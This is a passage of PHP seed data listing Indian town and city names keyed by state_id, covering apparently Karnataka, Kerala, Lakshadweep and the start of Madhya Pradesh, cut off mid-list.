['state_id' => '17', 'name' => 'alnavar'],\n ['state_id' => '17', 'name' => 'alur'],\n ['state_id' => '17', 'name' => 'ambikanagara'],\n ['state_id' => '17', 'name' => 'anekal'],\n ['state_id' => '17', 'name' => 'ankola'],\n ['state_id' => '17', 'name' => 'annigeri'],\n ['state_id' => '17', 'name' => 'arkalgud'],\n ['state_id' => '17', 'name' => 'arsikere'],\n ['state_id' => '17', 'name' => 'athni'],\n ['state_id' => '17', 'name' => 'aurad'],\n ['state_id' => '17', 'name' => 'badagavettu'],\n ['state_id' => '17', 'name' => 'badami'],\n ['state_id' => '17', 'name' => 'bagalkot'],\n ['state_id' => '17', 'name' => 'bagepalli'],\n ['state_id' => '17', 'name' => 'bailhongal'],\n ['state_id' => '17', 'name' => 'baindur'],\n ['state_id' => '17', 'name' => 'bajala'],\n ['state_id' => '17', 'name' => 'bajpe'],\n ['state_id' => '17', 'name' => 'banavar'],\n ['state_id' => '17', 'name' => 'bangarapet'],\n ['state_id' => '17', 'name' => 'bankapura'],\n ['state_id' => '17', 'name' => 'bannur'],\n ['state_id' => '17', 'name' => 'bantwal'],\n ['state_id' => '17', 'name' => 'basavakalyan'],\n ['state_id' => '17', 'name' => 'basavana bagevadi'],\n ['state_id' => '17', 'name' => 'belagula'],\n ['state_id' => '17', 'name' => 'belakavadiq'],\n ['state_id' => '17', 'name' => 'belgaum'],\n ['state_id' => '17', 'name' => 'belgaum cantonment'],\n ['state_id' => '17', 'name' => 'bellary'],\n ['state_id' => '17', 'name' => 'belluru'],\n ['state_id' => '17', 'name' => 'beltangadi'],\n ['state_id' => '17', 'name' => 'belur'],\n ['state_id' => '17', 'name' => 'belvata'],\n ['state_id' => '17', 'name' => 'bengaluru'],\n ['state_id' => '17', 'name' => 'bhadravati'],\n ['state_id' => '17', 'name' => 'bhalki'],\n ['state_id' => '17', 'name' => 'bhatkal'],\n ['state_id' => '17', 'name' => 'bhimarayanagudi'],\n ['state_id' => '17', 'name' => 'bhogadi'],\n ['state_id' => '17', 'name' => 'bidar'],\n ['state_id' => '17', 'name' => 'bijapur'],\n ['state_id' => '17', 'name' => 'bilgi'],\n ['state_id' => '17', 'name' => 'birur'],\n ['state_id' => '17', 'name' => 'bommanahalli'],\n ['state_id' => '17', 'name' => 'bommasandra'],\n ['state_id' => '17', 'name' => 'byadgi'],\n ['state_id' => '17', 'name' => 'byatarayanapura'],\n ['state_id' => '17', 'name' => 'chakranagar colony'],\n ['state_id' => '17', 'name' => 'challakere'],\n ['state_id' => '17', 'name' => 'chamrajnagar'],\n ['state_id' => '17', 'name' => 'chamundi betta'],\n ['state_id' => '17', 'name' => 'channagiri'],\n ['state_id' => '17', 'name' => 'channapatna'],\n ['state_id' => '17', 'name' => 'channarayapatna'],\n ['state_id' => '17', 'name' => 'chickballapur'],\n ['state_id' => '17', 'name' => 'chik ballapur'],\n ['state_id' => '17', 'name' => 'chikkaballapur'],\n ['state_id' => '17', 'name' => 'chikmagalur'],\n ['state_id' => '17', 'name' => 'chiknayakanhalli'],\n ['state_id' => '17', 'name' => 'chikodi'],\n ['state_id' => '17', 'name' => 'chincholi'],\n ['state_id' => '17', 'name' => 'chintamani'],\n ['state_id' => '17', 'name' => 'chitaguppa'],\n ['state_id' => '17', 'name' => 'chitapur'],\n ['state_id' => '17', 'name' => 'chitradurga'],\n ['state_id' => '17', 'name' => 'coorg'],\n ['state_id' => '17', 'name' => 'dandeli'],\n ['state_id' => '17', 'name' => 'dargajogihalli'],\n ['state_id' => '17', 'name' => 'dasarahalli'],\n ['state_id' => '17', 'name' => 'davangere'],\n ['state_id' => '17', 'name' => 'devadurga'],\n ['state_id' => '17', 'name' => 'devagiri'],\n ['state_id' => '17', 'name' => 'devanhalli'],\n ['state_id' => '17', 'name' => 'dharwar'],\n ['state_id' => '17', 'name' => 'dhupdal'],\n ['state_id' => '17', 'name' => 'dod ballapur'],\n ['state_id' => '17', 'name' => 'donimalai'],\n ['state_id' => '17', 'name' => 'gadag'],\n ['state_id' => '17', 'name' => 'gajendragarh'],\n ['state_id' => '17', 'name' => 'ganeshgudi'],\n ['state_id' => '17', 'name' => 'gangawati'],\n ['state_id' => '17', 'name' => 'gangoli'],\n ['state_id' => '17', 'name' => 'gauribidanur'],\n ['state_id' => '17', 'name' => 'gokak'],\n ['state_id' => '17', 'name' => 'gokak falls'],\n ['state_id' => '17', 'name' => 'gonikoppal'],\n ['state_id' => '17', 'name' => 'gorur'],\n ['state_id' => '17', 'name' => 'gottikere'],\n ['state_id' => '17', 'name' => 'gubbi'],\n ['state_id' => '17', 'name' => 'gudibanda'],\n ['state_id' => '17', 'name' => 'gulbarga'],\n ['state_id' => '17', 'name' => 'guledgudda'],\n ['state_id' => '17', 'name' => 'gundlupet'],\n ['state_id' => '17', 'name' => 'gurmatkal'],\n ['state_id' => '17', 'name' => 'haliyal'],\n ['state_id' => '17', 'name' => 'hangal'],\n ['state_id' => '17', 'name' => 'harihar'],\n ['state_id' => '17', 'name' => 'harpanahalli'],\n ['state_id' => '17', 'name' => 'hassan'],\n ['state_id' => '17', 'name' => 'hatti'],\n ['state_id' => '17', 'name' => 'hatti gold mines'],\n ['state_id' => '17', 'name' => 'haveri'],\n ['state_id' => '17', 'name' => 'hebbagodi'],\n ['state_id' => '17', 'name' => 'hebbalu'],\n ['state_id' => '17', 'name' => 'hebri'],\n ['state_id' => '17', 'name' => 'heggadadevanakote'],\n ['state_id' => '17', 'name' => 'herohalli'],\n ['state_id' => '17', 'name' => 'hidkal'],\n ['state_id' => '17', 'name' => 'hindalgi'],\n ['state_id' => '17', 'name' => 'hirekerur'],\n ['state_id' => '17', 'name' => 'hiriyur'],\n ['state_id' => '17', 'name' => 'holalkere'],\n ['state_id' => '17', 'name' => 'hole narsipur'],\n ['state_id' => '17', 'name' => 'homnabad'],\n ['state_id' => '17', 'name' => 'honavar'],\n ['state_id' => '17', 'name' => 'honnali'],\n ['state_id' => '17', 'name' => 'hosakote'],\n ['state_id' => '17', 'name' => 'hosanagara'],\n ['state_id' => '17', 'name' => 'hosangadi'],\n ['state_id' => '17', 'name' => 'hosdurga'],\n ['state_id' => '17', 'name' => 'hoskote'],\n ['state_id' => '17', 'name' => 'hospet'],\n ['state_id' => '17', 'name' => 'hubli'],\n ['state_id' => '17', 'name' => 'hukeri'],\n ['state_id' => '17', 'name' => 'hunasagi'],\n ['state_id' => '17', 'name' => 'hunasamaranahalli'],\n ['state_id' => '17', 'name' => 'hungund'],\n ['state_id' => '17', 'name' => 'hunsur'],\n ['state_id' => '17', 'name' => 'huvina hadagalli'],\n ['state_id' => '17', 'name' => 'ilkal'],\n ['state_id' => '17', 'name' => 'indi'],\n ['state_id' => '17', 'name' => 'jagalur'],\n ['state_id' => '17', 'name' => 'jamkhandi'],\n ['state_id' => '17', 'name' => 'jevargi'],\n ['state_id' => '17', 'name' => 'jog falls'],\n ['state_id' => '17', 'name' => 'kabini colony'],\n ['state_id' => '17', 'name' => 'kadur'],\n ['state_id' => '17', 'name' => 'kalghatgi'],\n ['state_id' => '17', 'name' => 'kamalapuram'],\n ['state_id' => '17', 'name' => 'kampli'],\n ['state_id' => '17', 'name' => 'kanakapura'],\n ['state_id' => '17', 'name' => 'kangrali bk'],\n ['state_id' => '17', 'name' => 'kangrali kh'],\n ['state_id' => '17', 'name' => 'kannur'],\n ['state_id' => '17', 'name' => 'karkala'],\n ['state_id' => '17', 'name' => 'karwar'],\n ['state_id' => '17', 'name' => 'kemminja'],\n ['state_id' => '17', 'name' => 'kengeri'],\n ['state_id' => '17', 'name' => 'kerur'],\n ['state_id' => '17', 'name' => 'khanapur'],\n ['state_id' => '17', 'name' => 'kodigenahalli'],\n ['state_id' => '17', 'name' => 'kodiyal'],\n ['state_id' => '17', 'name' => 'kodlipet'],\n ['state_id' => '17', 'name' => 'kolar'],\n ['state_id' => '17', 'name' => 'kollegal'],\n ['state_id' => '17', 'name' => 'konanakunte'],\n ['state_id' => '17', 'name' => 'konanur'],\n ['state_id' => '17', 'name' => 'konnur'],\n ['state_id' => '17', 'name' => 'koppa'],\n ['state_id' => '17', 'name' => 'koppal'],\n ['state_id' => '17', 'name' => 'koratagere'],\n ['state_id' => '17', 'name' => 'kotekara'],\n ['state_id' => '17', 'name' => 'kothnur'],\n ['state_id' => '17', 'name' => 'kotturu'],\n ['state_id' => '17', 'name' => 'krishnapura'],\n ['state_id' => '17', 'name' => 'krishnarajanagar'],\n ['state_id' => '17', 'name' => 'krishnarajapura'],\n ['state_id' => '17', 'name' => 'krishnarajasagara'],\n ['state_id' => '17', 'name' => 'krishnarajpet'],\n ['state_id' => '17', 'name' => 'kudchi'],\n ['state_id' => '17', 'name' => 'kudligi'],\n ['state_id' => '17', 'name' => 'kudremukh'],\n ['state_id' => '17', 'name' => 'kumsi'],\n ['state_id' => '17', 'name' => 'kumta'],\n ['state_id' => '17', 'name' => 'kundapura'],\n ['state_id' => '17', 'name' => 'kundgol'],\n ['state_id' => '17', 'name' => 'kunigal'],\n ['state_id' => '17', 'name' => 'kurgunta'],\n ['state_id' => '17', 'name' => 'kushalnagar'],\n ['state_id' => '17', 'name' => 'kushtagi'],\n ['state_id' => '17', 'name' => 'kyathanahalli'],\n ['state_id' => '17', 'name' => 'lakshmeshwar'],\n ['state_id' => '17', 'name' => 'lingsugur'],\n ['state_id' => '17', 'name' => 'londa'],\n ['state_id' => '17', 'name' => 'maddur'],\n ['state_id' => '17', 'name' => 'madhugiri'],\n ['state_id' => '17', 'name' => 'madikeri'],\n ['state_id' => '17', 'name' => 'magadi'],\n ['state_id' => '17', 'name' => 'magod falls'],\n ['state_id' => '17', 'name' => 'mahadeswara hills'],\n ['state_id' => '17', 'name' => 'mahadevapura'],\n ['state_id' => '17', 'name' => 'mahalingpur'],\n ['state_id' => '17', 'name' => 'maisuru'],\n ['state_id' => '17', 'name' => 'maisuru cantonment'],\n ['state_id' => '17', 'name' => 'malavalli'],\n ['state_id' => '17', 'name' => 'mallar'],\n ['state_id' => '17', 'name' => 'malpe'],\n ['state_id' => '17', 'name' => 'malur'],\n ['state_id' => '17', 'name' => 'manchenahalli'],\n ['state_id' => '17', 'name' => 'mandya'],\n ['state_id' => '17', 'name' => 'mangalore'],\n ['state_id' => '17', 'name' => 'mangaluru'],\n ['state_id' => '17', 'name' => 'manipal'],\n ['state_id' => '17', 'name' => 'manvi'],\n ['state_id' => '17', 'name' => 'maski'],\n ['state_id' => '17', 'name' => 'mastikatte colony'],\n ['state_id' => '17', 'name' => 'mayakonda'],\n ['state_id' => '17', 'name' => 'melukote'],\n ['state_id' => '17', 'name' => 'molakalmuru'],\n ['state_id' => '17', 'name' => 'mudalgi'],\n ['state_id' => '17', 'name' => 'mudbidri'],\n ['state_id' => '17', 'name' => 'muddebihal'],\n ['state_id' => '17', 'name' => 'mudgal'],\n ['state_id' => '17', 'name' => 'mudhol'],\n ['state_id' => '17', 'name' => 'mudigere'],\n ['state_id' => '17', 'name' => 'mudushedde'],\n ['state_id' => '17', 'name' => 'mulbagal'],\n ['state_id' => '17', 'name' => 'mulgund'],\n ['state_id' => '17', 'name' => 'mulki'],\n ['state_id' => '17', 'name' => 'mulur'],\n ['state_id' => '17', 'name' => 'mundargi'],\n ['state_id' => '17', 'name' => 'mundgod'],\n ['state_id' => '17', 'name' => 'munirabad'],\n ['state_id' => '17', 'name' => 'munnur'],\n ['state_id' => '17', 'name' => 'murudeshwara'],\n ['state_id' => '17', 'name' => 'mysore'],\n ['state_id' => '17', 'name' => 'nagamangala'],\n ['state_id' => '17', 'name' => 'nanjangud'],\n ['state_id' => '17', 'name' => 'naragund'],\n ['state_id' => '17', 'name' => 'narasimharajapura'],\n ['state_id' => '17', 'name' => 'naravi'],\n ['state_id' => '17', 'name' => 'narayanpur'],\n ['state_id' => '17', 'name' => 'naregal'],\n ['state_id' => '17', 'name' => 'navalgund'],\n ['state_id' => '17', 'name' => 'nelmangala'],\n ['state_id' => '17', 'name' => 'nipani'],\n ['state_id' => '17', 'name' => 'nitte'],\n ['state_id' => '17', 'name' => 'nyamati'],\n ['state_id' => '17', 'name' => 'padu'],\n ['state_id' => '17', 'name' => 'pandavapura'],\n ['state_id' => '17', 'name' => 'pattanagere'],\n ['state_id' => '17', 'name' => 'pavagada'],\n ['state_id' => '17', 'name' => 'piriyapatna'],\n ['state_id' => '17', 'name' => 'ponnampet'],\n ['state_id' => '17', 'name' => 'puttur'],\n ['state_id' => '17', 'name' => 'rabkavi'],\n ['state_id' => '17', 'name' => 'raichur'],\n ['state_id' => '17', 'name' => 'ramanagaram'],\n ['state_id' => '17', 'name' => 'ramdurg'],\n ['state_id' => '17', 'name' => 'ranibennur'],\n ['state_id' => '17', 'name' => 'raybag'],\n ['state_id' => '17', 'name' => 'robertsonpet'],\n ['state_id' => '17', 'name' => 'ron'],\n ['state_id' => '17', 'name' => 'sadalgi'],\n ['state_id' => '17', 'name' => 'sagar'],\n ['state_id' => '17', 'name' => 'sakleshpur'],\n ['state_id' => '17', 'name' => 'saligram'],\n ['state_id' => '17', 'name' => 'sandur'],\n ['state_id' => '17', 'name' => 'sanivarsante'],\n ['state_id' => '17', 'name' => 'sankeshwar'],\n ['state_id' => '17', 'name' => 'sargur'],\n ['state_id' => '17', 'name' => 'sathyamangala'],\n ['state_id' => '17', 'name' => 'saundatti yellamma'],\n ['state_id' => '17', 'name' => 'savanur'],\n ['state_id' => '17', 'name' => 'sedam'],\n ['state_id' => '17', 'name' => 'shahabad'],\n ['state_id' => '17', 'name' => 'shahabad a.c.c.'],\n ['state_id' => '17', 'name' => 'shahapur'],\n ['state_id' => '17', 'name' => 'shahpur'],\n ['state_id' => '17', 'name' => 'shaktinagar'],\n ['state_id' => '17', 'name' => 'shiggaon'],\n ['state_id' => '17', 'name' => 'shikarpur'],\n ['state_id' => '17', 'name' => 'shimoga'],\n ['state_id' => '17', 'name' => 'shirhatti'],\n ['state_id' => '17', 'name' => 'shorapur'],\n ['state_id' => '17', 'name' => 'shravanabelagola'],\n ['state_id' => '17', 'name' => 'shrirangapattana'],\n ['state_id' => '17', 'name' => 'siddapur'],\n ['state_id' => '17', 'name' => 'sidlaghatta'],\n ['state_id' => '17', 'name' => 'sindgi'],\n ['state_id' => '17', 'name' => 'sindhnur'],\n ['state_id' => '17', 'name' => 'sira'],\n ['state_id' => '17', 'name' => 'sirakoppa'],\n ['state_id' => '17', 'name' => 'sirsi'],\n ['state_id' => '17', 'name' => 'siruguppa'],\n ['state_id' => '17', 'name' => 'someshwar'],\n ['state_id' => '17', 'name' => 'somvarpet'],\n ['state_id' => '17', 'name' => 'sorab'],\n ['state_id' => '17', 'name' => 'sringeri'],\n ['state_id' => '17', 'name' => 'srinivaspur'],\n ['state_id' => '17', 'name' => 'sulya'],\n ['state_id' => '17', 'name' => 'suntikopa'],\n ['state_id' => '17', 'name' => 'talikota'],\n ['state_id' => '17', 'name' => 'tarikera'],\n ['state_id' => '17', 'name' => 'tekkalakota'],\n ['state_id' => '17', 'name' => 'terdal'],\n ['state_id' => '17', 'name' => 'thokur'],\n ['state_id' => '17', 'name' => 'thumbe'],\n ['state_id' => '17', 'name' => 'tiptur'],\n ['state_id' => '17', 'name' => 'tirthahalli'],\n ['state_id' => '17', 'name' => 'tirumakudal narsipur'],\n ['state_id' => '17', 'name' => 'tonse'],\n ['state_id' => '17', 'name' => 'tumkur'],\n ['state_id' => '17', 'name' => 'turuvekere'],\n ['state_id' => '17', 'name' => 'udupi'],\n ['state_id' => '17', 'name' => 'ullal'],\n ['state_id' => '17', 'name' => 'uttarahalli'],\n ['state_id' => '17', 'name' => 'venkatapura'],\n ['state_id' => '17', 'name' => 'vijayapura'],\n ['state_id' => '17', 'name' => 'virarajendrapet'],\n ['state_id' => '17', 'name' => 'wadi'],\n ['state_id' => '17', 'name' => 'wadi a.c.c.'],\n ['state_id' => '17', 'name' => 'yadgir'],\n ['state_id' => '17', 'name' => 'yelahanka'],\n ['state_id' => '17', 'name' => 'yelandur'],\n ['state_id' => '17', 'name' => 'yelbarga'],\n ['state_id' => '17', 'name' => 'yellapur'],\n ['state_id' => '17', 'name' => 'yenagudde'],\n ['state_id' => '19', 'name' => 'adimaly'],\n ['state_id' => '19', 'name' => 'adoor'],\n ['state_id' => '19', 'name' => 'adur'],\n ['state_id' => '19', 'name' => 'akathiyur'],\n ['state_id' => '19', 'name' => 'alangad'],\n ['state_id' => '19', 'name' => 'alappuzha'],\n ['state_id' => '19', 'name' => 'aluva'],\n ['state_id' => '19', 'name' => 'ancharakandy'],\n ['state_id' => '19', 'name' => 'angamaly'],\n ['state_id' => '19', 'name' => 'aroor'],\n ['state_id' => '19', 'name' => 'arukutti'],\n ['state_id' => '19', 'name' => 'attingal'],\n ['state_id' => '19', 'name' => 'avinissery'],\n ['state_id' => '19', 'name' => 'azhikode north'],\n ['state_id' => '19', 'name' => 'azhikode south'],\n ['state_id' => '19', 'name' => 'azhiyur'],\n ['state_id' => '19', 'name' => 'balussery'],\n ['state_id' => '19', 'name' => 'bangramanjeshwar'],\n ['state_id' => '19', 'name' => 'beypur'],\n ['state_id' => '19', 'name' => 'brahmakulam'],\n ['state_id' => '19', 'name' => 'chala'],\n ['state_id' => '19', 'name' => 'chalakudi'],\n ['state_id' => '19', 'name' => 'changanacheri'],\n ['state_id' => '19', 'name' => 'chauwara'],\n ['state_id' => '19', 'name' => 'chavakkad'],\n ['state_id' => '19', 'name' => 'chelakkara'],\n ['state_id' => '19', 'name' => 'chelora'],\n ['state_id' => '19', 'name' => 'chendamangalam'],\n ['state_id' => '19', 'name' => 'chengamanad'],\n ['state_id' => '19', 'name' => 'chengannur'],\n ['state_id' => '19', 'name' => 'cheranallur'],\n ['state_id' => '19', 'name' => 'cheriyakadavu'],\n ['state_id' => '19', 'name' => 'cherthala'],\n ['state_id' => '19', 'name' => 'cherukunnu'],\n ['state_id' => '19', 'name' => 'cheruthazham'],\n ['state_id' => '19', 'name' => 'cheruvannur'],\n ['state_id' => '19', 'name' => 'cheruvattur'],\n ['state_id' => '19', 'name' => 'chevvur'],\n ['state_id' => '19', 'name' => 'chirakkal'],\n ['state_id' => '19', 'name' => 'chittur'],\n ['state_id' => '19', 'name' => 'chockli'],\n ['state_id' => '19', 'name' => 'churnikkara'],\n ['state_id' => '19', 'name' => 'dharmadam'],\n ['state_id' => '19', 'name' => 'edappal'],\n ['state_id' => '19', 'name' => 'edathala'],\n ['state_id' => '19', 'name' => 'elayavur'],\n ['state_id' => '19', 'name' => 'elur'],\n ['state_id' => '19', 'name' => 'eranholi'],\n ['state_id' => '19', 'name' => 'erattupetta'],\n ['state_id' => '19', 'name' => 'ernakulam'],\n ['state_id' => '19', 'name' => 'eruvatti'],\n ['state_id' => '19', 'name' => 'ettumanoor'],\n ['state_id' => '19', 'name' => 'feroke'],\n ['state_id' => '19', 'name' => 'guruvayur'],\n ['state_id' => '19', 'name' => 'haripad'],\n ['state_id' => '19', 'name' => 'hosabettu'],\n ['state_id' => '19', 'name' => 'idukki'],\n ['state_id' => '19', 'name' => 'iringaprom'],\n ['state_id' => '19', 'name' => 'irinjalakuda'],\n ['state_id' => '19', 'name' => 'iriveri'],\n ['state_id' => '19', 'name' => 'kadachira'],\n ['state_id' => '19', 'name' => 'kadalundi'],\n ['state_id' => '19', 'name' => 'kadamakkudy'],\n ['state_id' => '19', 'name' => 'kadirur'],\n ['state_id' => '19', 'name' => 'kadungallur'],\n ['state_id' => '19', 'name' => 'kakkodi'],\n ['state_id' => '19', 'name' => 'kalady'],\n ['state_id' => '19', 'name' => 'kalamassery'],\n ['state_id' => '19', 'name' => 'kalliasseri'],\n ['state_id' => '19', 'name' => 'kalpetta'],\n ['state_id' => '19', 'name' => 'kanhangad'],\n ['state_id' => '19', 'name' => 'kanhirode'],\n ['state_id' => '19', 'name' => 'kanjikkuzhi'],\n ['state_id' => '19', 'name' => 'kanjikode'],\n ['state_id' => '19', 'name' => 'kanjirappalli'],\n ['state_id' => '19', 'name' => 'kannadiparamba'],\n ['state_id' => '19', 'name' => 'kannangad'],\n ['state_id' => '19', 'name' => 'kannapuram'],\n ['state_id' => '19', 'name' => 'kannur'],\n ['state_id' => '19', 'name' => 'kannur cantonment'],\n ['state_id' => '19', 'name' => 'karunagappally'],\n ['state_id' => '19', 'name' => 'karuvamyhuruthy'],\n ['state_id' => '19', 'name' => 'kasaragod'],\n ['state_id' => '19', 'name' => 'kasargod'],\n ['state_id' => '19', 'name' => 'kattappana'],\n ['state_id' => '19', 'name' => 'kayamkulam'],\n ['state_id' => '19', 'name' => 'kedamangalam'],\n ['state_id' => '19', 'name' => 'kochi'],\n ['state_id' => '19', 'name' => 'kodamthuruthu'],\n ['state_id' => '19', 'name' => 'kodungallur'],\n ['state_id' => '19', 'name' => 'koduvally'],\n ['state_id' => '19', 'name' => 'koduvayur'],\n ['state_id' => '19', 'name' => 'kokkothamangalam'],\n ['state_id' => '19', 'name' => 'kolazhy'],\n ['state_id' => '19', 'name' => 'kollam'],\n ['state_id' => '19', 'name' => 'komalapuram'],\n ['state_id' => '19', 'name' => 'koothattukulam'],\n ['state_id' => '19', 'name' => 'koratty'],\n ['state_id' => '19', 'name' => 'kothamangalam'],\n ['state_id' => '19', 'name' => 'kottarakkara'],\n ['state_id' => '19', 'name' => 'kottayam'],\n ['state_id' => '19', 'name' => 'kottayam malabar'],\n ['state_id' => '19', 'name' => 'kottuvally'],\n ['state_id' => '19', 'name' => 'koyilandi'],\n ['state_id' => '19', 'name' => 'kozhikode'],\n ['state_id' => '19', 'name' => 'kudappanakunnu'],\n ['state_id' => '19', 'name' => 'kudlu'],\n ['state_id' => '19', 'name' => 'kumarakom'],\n ['state_id' => '19', 'name' => 'kumily'],\n ['state_id' => '19', 'name' => 'kunnamangalam'],\n ['state_id' => '19', 'name' => 'kunnamkulam'],\n ['state_id' => '19', 'name' => 'kurikkad'],\n ['state_id' => '19', 'name' => 'kurkkanchery'],\n ['state_id' => '19', 'name' => 'kuthuparamba'],\n ['state_id' => '19', 'name' => 'kuttakulam'],\n ['state_id' => '19', 'name' => 'kuttikkattur'],\n ['state_id' => '19', 'name' => 'kuttur'],\n ['state_id' => '19', 'name' => 'malappuram'],\n ['state_id' => '19', 'name' => 'mallappally'],\n ['state_id' => '19', 'name' => 'manjeri'],\n ['state_id' => '19', 'name' => 'manjeshwar'],\n ['state_id' => '19', 'name' => 'mannancherry'],\n ['state_id' => '19', 'name' => 'mannar'],\n ['state_id' => '19', 'name' => 'mannarakkat'],\n ['state_id' => '19', 'name' => 'maradu'],\n ['state_id' => '19', 'name' => 'marathakkara'],\n ['state_id' => '19', 'name' => 'marutharod'],\n ['state_id' => '19', 'name' => 'mattannur'],\n ['state_id' => '19', 'name' => 'mavelikara'],\n ['state_id' => '19', 'name' => 'mavilayi'],\n ['state_id' => '19', 'name' => 'mavur'],\n ['state_id' => '19', 'name' => 'methala'],\n ['state_id' => '19', 'name' => 'muhamma'],\n ['state_id' => '19', 'name' => 'mulavukad'],\n ['state_id' => '19', 'name' => 'mundakayam'],\n ['state_id' => '19', 'name' => 'munderi'],\n ['state_id' => '19', 'name' => 'munnar'],\n ['state_id' => '19', 'name' => 'muthakunnam'],\n ['state_id' => '19', 'name' => 'muvattupuzha'],\n ['state_id' => '19', 'name' => 'muzhappilangad'],\n ['state_id' => '19', 'name' => 'nadapuram'],\n ['state_id' => '19', 'name' => 'nadathara'],\n ['state_id' => '19', 'name' => 'narath'],\n ['state_id' => '19', 'name' => 'nattakam'],\n ['state_id' => '19', 'name' => 'nedumangad'],\n ['state_id' => '19', 'name' => 'nenmenikkara'],\n ['state_id' => '19', 'name' => 'new mahe'],\n ['state_id' => '19', 'name' => 'neyyattinkara'],\n ['state_id' => '19', 'name' => 'nileshwar'],\n ['state_id' => '19', 'name' => 'olavanna'],\n ['state_id' => '19', 'name' => 'ottapalam'],\n ['state_id' => '19', 'name' => 'ottappalam'],\n ['state_id' => '19', 'name' => 'paduvilayi'],\n ['state_id' => '19', 'name' => 'palai'],\n ['state_id' => '19', 'name' => 'palakkad'],\n ['state_id' => '19', 'name' => 'palayad'],\n ['state_id' => '19', 'name' => 'palissery'],\n ['state_id' => '19', 'name' => 'pallikkunnu'],\n ['state_id' => '19', 'name' => 'paluvai'],\n ['state_id' => '19', 'name' => 'panniyannur'],\n ['state_id' => '19', 'name' => 'pantalam'],\n ['state_id' => '19', 'name' => 'panthiramkavu'],\n ['state_id' => '19', 'name' => 'panur'],\n ['state_id' => '19', 'name' => 'pappinisseri'],\n ['state_id' => '19', 'name' => 'parassala'],\n ['state_id' => '19', 'name' => 'paravur'],\n ['state_id' => '19', 'name' => 'pathanamthitta'],\n ['state_id' => '19', 'name' => 'pathanapuram'],\n ['state_id' => '19', 'name' => 'pathiriyad'],\n ['state_id' => '19', 'name' => 'pattambi'],\n ['state_id' => '19', 'name' => 'pattiom'],\n ['state_id' => '19', 'name' => 'pavaratty'],\n ['state_id' => '19', 'name' => 'payyannur'],\n ['state_id' => '19', 'name' => 'peermade'],\n ['state_id' => '19', 'name' => 'perakam'],\n ['state_id' => '19', 'name' => 'peralasseri'],\n ['state_id' => '19', 'name' => 'peringathur'],\n ['state_id' => '19', 'name' => 'perinthalmanna'],\n ['state_id' => '19', 'name' => 'perole'],\n ['state_id' => '19', 'name' => 'perumanna'],\n ['state_id' => '19', 'name' => 'perumbaikadu'],\n ['state_id' => '19', 'name' => 'perumbavoor'],\n ['state_id' => '19', 'name' => 'pinarayi'],\n ['state_id' => '19', 'name' => 'piravam'],\n ['state_id' => '19', 'name' => 'ponnani'],\n ['state_id' => '19', 'name' => 'pottore'],\n ['state_id' => '19', 'name' => 'pudukad'],\n ['state_id' => '19', 'name' => 'punalur'],\n ['state_id' => '19', 'name' => 'puranattukara'],\n ['state_id' => '19', 'name' => 'puthunagaram'],\n ['state_id' => '19', 'name' => 'puthuppariyaram'],\n ['state_id' => '19', 'name' => 'puzhathi'],\n ['state_id' => '19', 'name' => 'ramanattukara'],\n ['state_id' => '19', 'name' => 'shoranur'],\n ['state_id' => '19', 'name' => 'sultans battery'],\n ['state_id' => '19', 'name' => 'sulthan bathery'],\n ['state_id' => '19', 'name' => 'talipparamba'],\n ['state_id' => '19', 'name' => 'thaikkad'],\n ['state_id' => '19', 'name' => 'thalassery'],\n ['state_id' => '19', 'name' => 'thannirmukkam'],\n ['state_id' => '19', 'name' => 'theyyalingal'],\n ['state_id' => '19', 'name' => 'thiruvalla'],\n ['state_id' => '19', 'name' => 'thiruvananthapuram'],\n ['state_id' => '19', 'name' => 'thiruvankulam'],\n ['state_id' => '19', 'name' => 'thodupuzha'],\n ['state_id' => '19', 'name' => 'thottada'],\n ['state_id' => '19', 'name' => 'thrippunithura'],\n ['state_id' => '19', 'name' => 'thrissur'],\n ['state_id' => '19', 'name' => 'tirur'],\n ['state_id' => '19', 'name' => 'udma'],\n ['state_id' => '19', 'name' => 'vadakara'],\n ['state_id' => '19', 'name' => 'vaikam'],\n ['state_id' => '19', 'name' => 'valapattam'],\n ['state_id' => '19', 'name' => 'vallachira'],\n ['state_id' => '19', 'name' => 'varam'],\n ['state_id' => '19', 'name' => 'varappuzha'],\n ['state_id' => '19', 'name' => 'varkala'],\n ['state_id' => '19', 'name' => 'vayalar'],\n ['state_id' => '19', 'name' => 'vazhakkala'],\n ['state_id' => '19', 'name' => 'venmanad'],\n ['state_id' => '19', 'name' => 'villiappally'],\n ['state_id' => '19', 'name' => 'wayanad'],\n ['state_id' => '20', 'name' => 'agethi'],\n ['state_id' => '20', 'name' => 'amini'],\n ['state_id' => '20', 'name' => 'androth island'],\n ['state_id' => '20', 'name' => 'kavaratti'],\n ['state_id' => '20', 'name' => 'minicoy'],\n ['state_id' => '21', 'name' => 'agar'],\n ['state_id' => '21', 'name' => 'ajaigarh'],\n ['state_id' => '21', 'name' => 'akoda'],\n ['state_id' => '21', 'name' => 'akodia'],\n ['state_id' => '21', 'name' => 'alampur'],\n ['state_id' => '21', 'name' => 'alirajpur'],\n ['state_id' => '21', 'name' => 'alot'],\n ['state_id' => '21', 'name' => 'amanganj'],\n ['state_id' => '21', 'name' => 'amarkantak'],\n ['state_id' => '21', 'name' => 'amarpatan'],\n ['state_id' => '21', 'name' => 'amarwara'],\n ['state_id' => '21', 'name' => 'ambada'],\n ['state_id' => '21', 'name' => 'ambah'],\n ['state_id' => '21', 'name' => 'amla'],\n ['state_id' => '21', 'name' => 'amlai'],\n ['state_id' => '21', 'name' => 'anjad'],\n ['state_id' => '21', 'name' => 'antri'],\n ['state_id' => '21', 'name' => 'anuppur'],\n ['state_id' => '21', 'name' => 'aron'],\n ['state_id' => '21', 'name' => 'ashoknagar'],\n ['state_id' => '21', 'name' => 'ashta'],\n ['state_id' => '21', 'name' => 'babai'],\n ['state_id' => '21', 'name' => 'bada malhera'],\n ['state_id' => '21', 'name' => 'badagaon'],\n ['state_id' => '21', 'name' => 'badagoan'],\n ['state_id' => '21', 'name' => 'badarwas'],\n ['state_id' => '21', 'name' => 'badawada'],\n ['state_id' => '21', 'name' => 'badi'],\n ['state_id' => '21', 'name' => 'badkuhi'],\n ['state_id' => '21', 'name' => 'badnagar'],\n ['state_id' => '21', 'name' => 'badnawar'],\n ['state_id' => '21', 'name' => 'badod'],\n ['state_id' => '21', 'name' => 'badoda'],\n ['state_id' => '21', 'name' => 'badra'],\n ['state_id' => '21', 'name' => 'bagh'],\n ['state_id' => '21', 'name' => 'bagli'],\n ['state_id' => '21', 'name' => 'baihar'],\n ['state_id' => '21', 'name' => 'baikunthpur'],\n ['state_id' => '21', 'name' => 'bakswaha'],\n ['state_id' => '21', 'name' => 'balaghat'],\n ['state_id' => '21', 'name' => 